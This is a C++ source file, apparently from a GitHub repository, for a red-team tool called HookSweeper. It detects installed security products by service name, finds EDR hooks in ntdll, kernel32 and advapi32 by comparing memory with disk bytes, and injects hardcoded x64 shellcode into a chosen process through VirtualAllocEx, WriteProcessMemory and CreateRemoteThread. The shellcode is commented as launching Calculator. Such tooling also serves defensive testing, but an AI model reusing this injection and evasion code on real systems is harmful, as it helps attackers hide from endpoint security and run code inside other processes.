-
Notifications
You must be signed in to change notification settings - Fork 1
/
HookSweeper.cpp
308 lines (226 loc) · 10.2 KB
/
HookSweeper.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
#include <windows.h>
#include <iostream>
#include <vector>
#include <sstream>
#include <fstream>
#include <iterator>
#include <string>
#include <tlhelp32.h>
const std::vector<std::string> falsePositives = {
"NtGetTickCount", "NtQuerySystemTime", "NtdllDefWindowProc_A",
"NtdllDefWindowProc_W", "NtdllDialogWndProc_A", "NtdllDialogWndProc_W", "ZwQuerySystemTime"
};
struct SecurityVendor {
std::string identifier;
std::string vendorName;
};
bool checkDescription(const std::string& output, const std::string& identifier) {
return output.find(identifier) != std::string::npos;
}
std::vector<std::string> DLLs {
"ntdll.dll", "advapi32.dll", "kernel32.dll"
};
void printError(std::string e) {
std::cout << "[-] " << e << std::endl;
}
void printInfo2(std::string i) {
std::cout << "[*] " << i << std::endl;
}
void printSuccess(std::string s) {
std::cout << "[+] " << s << std::endl;
}
void detectSecurityVendor() {
system("sc queryex type= service > services.txt");
std::string outputFileName = "services.txt";
std::ifstream file(outputFileName);
if (!file.is_open()) {
printError("Failed to open temporary services file");
return;
}
std::string output((std::istreambuf_iterator<char>(file)), std::istreambuf_iterator<char>());
file.close();
if (!DeleteFileA(outputFileName.c_str())) {
printError("Failed to delete temporary services file");
}
std::vector<SecurityVendor> vendors = {
{"CrowdStrike", "CrowdStrike"},
{"Cortex XDR", "Palo Alto Cortex XDR"},
{"AVP", "Kaspersky"},
{"McAfee", "McAfee"},
{"AVG", "AVG"},
{"SentinelOne", "SentinelOne"},
{"Elastic", "Elastic"},
{"Cybereason", "Cybereason EDR"}
};
bool found = false;
for (const auto& vendor : vendors) {
if (checkDescription(output, vendor.identifier)) {
printSuccess(vendor.vendorName + " is identified in the services.");
found = true;
break;
}
}
if (!found) {
printInfo2("No known security vendor identified in the services");
}
}
std::vector<std::string> GetFunctionBytes(BYTE* addr) {
BYTE bytesInstruction[4] = {};
SIZE_T bytesRead;
ReadProcessMemory(GetCurrentProcess(), addr, &bytesInstruction, sizeof(bytesInstruction), &bytesRead);
std::vector<std::string> bytesInstructionHex;
for (const auto& byte : bytesInstruction) {
std::stringstream ss;
ss << std::hex << (int)byte;
bytesInstructionHex.push_back(ss.str());
}
return bytesInstructionHex;
}
BYTE* GetFunctionAddressOnDisk(const std::vector<char>& fileBuffer, HMODULE memoryModule, BYTE* funcAddrInMemory) {
DWORD offset = (DWORD)(funcAddrInMemory - (BYTE*)memoryModule);
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)&fileBuffer[0];
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((BYTE*)dosHeader + dosHeader->e_lfanew);
PIMAGE_SECTION_HEADER sectionHeaders = (PIMAGE_SECTION_HEADER)(ntHeaders + 1);
for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) {
if (offset >= sectionHeaders[i].VirtualAddress &&
offset < sectionHeaders[i].VirtualAddress + sectionHeaders[i].Misc.VirtualSize) {
DWORD diskOffset = offset - sectionHeaders[i].VirtualAddress + sectionHeaders[i].PointerToRawData;
return (BYTE*)&fileBuffer[diskOffset];
}
}
return nullptr;
}
typedef NTSTATUS(NTAPI* PFN_NTSETCONTEXTTHREAD)(
HANDLE ThreadHandle,
const CONTEXT* Context
);
void checkHookUsingOnDiskFile(HMODULE hModule, std::string functionName, std::vector<char> dllBytes) {
BYTE* procAddressMemory = (BYTE*)GetProcAddress(hModule, functionName.c_str());
BYTE* procAddressDisk = GetFunctionAddressOnDisk(dllBytes, hModule, procAddressMemory);
if (!procAddressMemory) {
std::cerr << "Error getting proc address in memory for: " << functionName << std::endl;
return;
}
auto bytesMemory = GetFunctionBytes((BYTE*)procAddressMemory);
auto bytesDisk = GetFunctionBytes((BYTE*)procAddressDisk);
if (bytesMemory != bytesDisk) {
printSuccess("Hooked: " + functionName);
std::cout << " Memory bytes: ";
for (const auto& byteHex : bytesMemory) {
std::cout << byteHex << " ";
}
std::cout << "\n Disk bytes: ";
for (const auto& byteHex : bytesDisk) {
std::cout << byteHex << " ";
}
std::cout << std::endl;
}
}
// adopted from: https://github.com/anthemtotheego/Detect-Hooks/blob/main/src/detect-hooks.c#L46
void checkHookUsingSyscallPrologue(HMODULE hModule, std::string functionName) {
BYTE* procAddressMemory = (BYTE*)GetProcAddress(hModule, functionName.c_str());
char syscallPrologue[4] = { 0x4c, 0x8b, 0xd1, 0xb8 };
if (memcmp(procAddressMemory, syscallPrologue, 4) != 0) {
printSuccess(functionName + " is hooked according to syscall prologue check ");
std::cout << " Memory bytes: ";
auto bytesMemory = GetFunctionBytes((BYTE*)procAddressMemory);
for (const auto& byteHex : bytesMemory) {
std::cout << byteHex << " ";
}
std::cout << std::endl;
}
}
int checkHook(std::string dll) {
HMODULE hModule = GetModuleHandleA(dll.c_str());
if (!hModule) {
printError("Error getting " + dll + " handle: " + std::to_string(GetLastError()));
return 1;
}
std::ifstream dllFile("c:\\windows\\system32\\" + dll, std::ios::binary);
if (!dllFile) {
printError("Error opening ntdll.dll from disk.");
CloseHandle(hModule);
return 1;
}
std::vector<char> dllBytes((std::istreambuf_iterator<char>(dllFile)), std::istreambuf_iterator<char>());
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hModule;
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((BYTE*)hModule + dosHeader->e_lfanew);
PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)hModule + ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
DWORD* functionNameRVAs = (DWORD*)((BYTE*)hModule + exportDirectory->AddressOfNames);
for (DWORD i = 0; i < exportDirectory->NumberOfNames; i++) {
char* functionName = (char*)((BYTE*)hModule + functionNameRVAs[i]);
std::string sFunctionName(functionName);
if (sFunctionName.substr(0, 2) == "Nt" || sFunctionName.substr(0, 2) == "Zw") {
if (std::find(falsePositives.begin(), falsePositives.end(), functionName) == falsePositives.end()) {
checkHookUsingOnDiskFile(hModule, sFunctionName, dllBytes);
checkHookUsingSyscallPrologue(hModule, sFunctionName);
}
}
}
dllFile.close();
}
void testSuspiciousCall(int pid) {
std::cout << "\n-----------------------------" << std::endl;
std::cout << "| Suspicious call Detection |" << std::endl;
std::cout << "-----------------------------" << std::endl;
//Opening up Calculator x64
unsigned char shellcode[] =
"\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b"
"\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08\x8b\x14\x0b\x4c\x01\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x01\xc2"
"\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x31\xe4\x44\x8b\x62\x24\x4d\x01\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b"
"\x0c\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x01\xc7\x48\x89\xd6\xf3\xa6\x74\x05\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x04\x44\x41\x8b\x04"
"\x82\x4c\x01\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x07\x48\xb8\x0f\xa8\x96\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x08\x50\x51\xe8\xb0"
"\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x9c\x9e\x93\x9c\xd1\x9a\x87\x9a\x48\xf7\xd0\x50\x48\x89\xe1\x48\xff\xc2"
"\x48\x83\xec\x20\x41\xff\xd6";
HANDLE processHandle;
HANDLE remoteThread;
PVOID remoteBuffer;
printInfo2("Injecting to PID: " + std::to_string(pid));
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (DWORD)pid);
// basic error checking, won't print error information
if (processHandle) {
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
if (remoteBuffer) {
if (WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL)) {
remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
printSuccess("injection completed successfully...");
CloseHandle(processHandle);
return;
}
}
}
//This is not super helpful because we don't know which function failed, should be fixed with proper error checking
printError("failed to inject: " + std::to_string(GetLastError()));
}
void printHeader() {
std::cout << "--------------------------------------" << std::endl;
std::cout << "| Author : Ahmad Almorabea |" << std::endl;
std::cout << "| X(Twitter): @almorabea |" << std::endl;
std::cout << "| Website : https://almorabea.net |" << std::endl;
std::cout << "--------------------------------------" << std::endl;
std::cout << "" << std::endl;
std::cout << "-----------------------------" << std::endl;
std::cout << "| Security Vendor Detection |" << std::endl;
std::cout << "-----------------------------" << std::endl;
}
void printInfo(std::string info) {
std::cout << "\n-----------------------------" << std::endl;
std::cout << "| " << info << " | " << std::endl;
std::cout << "-----------------------------" << std::endl;
}
int main(int argc, char* argv[]) {
printHeader();
detectSecurityVendor();
printInfo("checking hooks...");
for (std::string s : DLLs)
{
printInfo2("checking " + s + " for hooks..");
checkHook(s);
}
if (argc > 1) {
printInfo("Testing shellcode injection");
testSuspiciousCall(atoi(argv[1]));
}
printInfo("End of Report");
return 0;
}